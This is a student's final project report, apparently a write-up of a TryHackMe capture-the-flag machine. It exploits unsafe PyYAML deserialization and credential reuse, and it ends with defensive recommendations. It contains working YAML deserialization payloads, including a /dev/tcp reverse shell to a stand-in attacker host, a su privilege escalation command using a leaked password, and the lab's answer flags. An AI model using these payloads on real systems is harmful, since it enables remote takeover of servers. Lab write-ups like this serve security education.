

FINAL PROJECT REPORT

Student Name: Abdul Salam Abdul Khalid

Course: Cybersecurity

Institution: Torbita Computer Training School

Date: September 2026

Project Title:

Exploiting Unsafe YAML Deserialization and Credential Reuse for Full System Compromise – Beach Bar (TryHackMe)

1. Introduction

This project involves the complete exploitation of the Beach Bar machine on the TryHackMe platform. Beach Bar is an easy-level Boot2Root challenge that simulates a real-world vulnerable web application. The objective was to gain initial access to the system, escalate privileges to root, and capture both the user and root flags.

The project demonstrates practical skills in web application enumeration, identification of insecure deserialization vulnerabilities, reverse shell generation, process enumeration, and privilege escalation through credential reuse.

2. Tools and Environment Used

- Kali Linux (Attacking machine)
- OpenVPN (for connecting to the TryHackMe network)
- Netcat (nc)
- Web browser
- Basic Linux command-line tools (ps, su, cat, ls, etc.)

3. Methodology

3.1 Reconnaissance and Initial Access

The target web application was accessed via the provided machine IP address. Upon inspecting the page source code, hardcoded demo credentials were discovered in an HTML comment:

Username: dj

Password: dj

These credentials were used to successfully log into the DJ Booth dashboard of the Beach Bar jukebox application.

3.2 Vulnerability Identification

The application featured an “Import Playlist” functionality that accepted YAML files. Testing revealed that the application used an unsafe YAML parser (PyYAML).

A proof-of-concept payload was submitted:

```
playlist:  
  name: !!python/object/apply:subprocess.check_output
```

```
- ["id"]
```

The response confirmed Remote Code Execution (RCE) as the low-privileged user bartender.

3.3 Obtaining a Reverse Shell

A Netcat listener was started on the attacking machine:

```
nc -lvnp 4444
```

A reverse shell payload was then crafted and submitted through the YAML import feature:

```
playlist:
  name: !!python/object/apply:subprocess.Popen
  args:
    - ["/bin/bash", "-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"]
```

This successfully established an interactive shell as the bartender user.

3.4 Privilege Escalation to Root

While enumerating running processes with the command:

```
ps aux | grep -i juke
```

A root-owned process was discovered that exposed a password in its command-line arguments:

```
--stream-pass SunsetSpritz2024!
```

This password was reused as the root account password. The following command was used to switch to the root user and retrieve the flag:

```
echo 'SunsetSpritz2024!' | su -c 'cat /root/root.txt'
```

4. Flags Captured

User Flag: THM{y4ml_pl4yl1st_pwns_th3_b34ch}

Root Flag: THM{cr3d3nt14l_r3us3_4t_th3_b34ch_b4r}

5. Vulnerabilities Identified

- Hardcoded credentials left in the HTML source code.
- Unsafe YAML deserialization leading to Remote Code Execution.
- Sensitive credentials exposed in process command-line arguments.
- Password reuse between a service account and the root user.

6. Recommendations

- Remove all demo/hardcoded credentials from production code and source comments.
- Always use safe YAML loading methods (yaml.safe_load()).
- Never pass passwords or secrets as command-line arguments.
- Implement strong password policies and prohibit password reuse.
- Apply the principle of least privilege to all services.

7. Conclusion

This project successfully demonstrated a full attack chain from initial foothold to complete system compromise. The exploitation path highlights several common but high-impact security weaknesses frequently found in real-world applications. Completing this challenge strengthened practical skills in web application security, Linux privilege escalation, and secure coding practices.

End of Report